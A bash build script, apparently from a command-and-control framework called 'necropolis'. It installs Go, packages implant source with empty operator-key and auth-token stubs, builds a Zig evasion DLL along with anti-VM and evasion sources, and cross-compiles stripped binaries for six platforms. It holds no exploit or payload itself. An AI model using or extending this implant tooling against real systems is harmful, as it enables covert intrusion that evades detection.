#!/usr/bin/env bash set -euo pipefail cd "$(dirname "$0")" install_go() { local arch os go_url go_file os="$(uname -s | tr '[:upper:]' '[:lower:]')" arch="$(uname -m)" case "$arch" in x86_64) arch=amd64 ;; aarch64|arm64) arch=arm64 ;; *) echo "Unsupported arch: $arch"; exit 1 ;; esac echo "Go not found. Downloading and installing Go for ${os}/${arch}..." go_url="https://go.dev/dl/$(curl -sL 'https://go.dev/VERSION?m=text').${os}-${arch}.tar.gz" go_file="/tmp/$(basename "$go_url")" curl -#Lo "$go_file" "$go_url" sudo rm -rf /usr/local/go sudo tar -C /usr/local -xzf "$go_file" rm -f "$go_file" export PATH="/usr/local/go/bin:$PATH" echo "Go installed: $(go version)" } if ! command -v go &>/dev/null; then if [ -x /usr/local/go/bin/go ]; then export PATH="/usr/local/go/bin:$PATH" else install_go fi fi EMBED_DIR="server/core/embedsrc" echo "Preparing embedded implant source..." rm -rf "$EMBED_DIR/implant_src" "$EMBED_DIR/implant_src.tar.gz" mkdir -p "$EMBED_DIR/implant_src" cp -r implant pkg protobuf "$EMBED_DIR/implant_src/" # Copy go.mod/go.sum under different names to avoid Go embed module boundary restriction cp go.mod "$EMBED_DIR/implant_src/go.mod.txt" cp go.sum "$EMBED_DIR/implant_src/go.sum.txt" # Write stub key files so the embedded tree is vettable cat > "$EMBED_DIR/implant_src/implant/core/embedded_pubkey.go" << 'GOEOF' // Code generated by necropolis generate. DO NOT EDIT. package core var embeddedOperatorPubKey = []byte{} GOEOF cat > "$EMBED_DIR/implant_src/implant/core/embedded_implant_key.go" << 'GOEOF' // Code generated by necropolis generate. DO NOT EDIT. package core var embeddedImplantPrivKey = []byte{} GOEOF cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF' // Code generated by necropolis generate. DO NOT EDIT. package core var embeddedOperatorBoxPubKey = []byte{} GOEOF cat > "$EMBED_DIR/implant_src/implant/core/embedded_authtoken.go" << 'GOEOF' // Code generated by necropolis generate. DO NOT EDIT. package core var embeddedAuthToken = []byte{} GOEOF # Prune files not needed for compilation find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete # Remove any leftover test stubs (not antivm_stub.go which is real source) find "$EMBED_DIR/implant_src" -name "*_stub.go" ! -name "antivm_stub.go" ! -name "evasion_stub.go" -type f -delete # Compress the source tree (Go source code compresses extremely well) echo "Compressing embedded source tree..." tar -czf "$EMBED_DIR/implant_src.tar.gz" -C "$EMBED_DIR/implant_src" "." rm -rf "$EMBED_DIR/implant_src" # Build the Zig evasion DLL and copy it to the implant source echo "Building evasion DLL..." (cd evasion && zig build -Doptimize=ReleaseSafe) 2>/dev/null || echo " zig not found, skipping evasion DLL build" if [ -f evasion/zig-out/bin/valak.dll ]; then cp evasion/zig-out/bin/valak.dll implant/core/valak.dll echo " evasion DLL built: $(wc -c < evasion/zig-out/bin/valak.dll) bytes" fi mkdir -p bin build_platform() { local goos="$1" goarch="$2" suffix="$3" local out="bin/necropolis-${goos}-${goarch}${suffix}" echo " building ${goos}/${goarch} -> ${out}..." GOOS="$goos" GOARCH="$goarch" go build -trimpath -buildvcs=false -ldflags="-s -w -buildid=" -o "$out" ./cmd/necropolis/ } echo "Building necropolis (cross-platform)..." build_platform linux amd64 "" build_platform linux arm64 "" build_platform windows amd64 ".exe" build_platform windows arm64 ".exe" build_platform darwin amd64 "" build_platform darwin arm64 "" echo "Done. Binaries in ./bin/"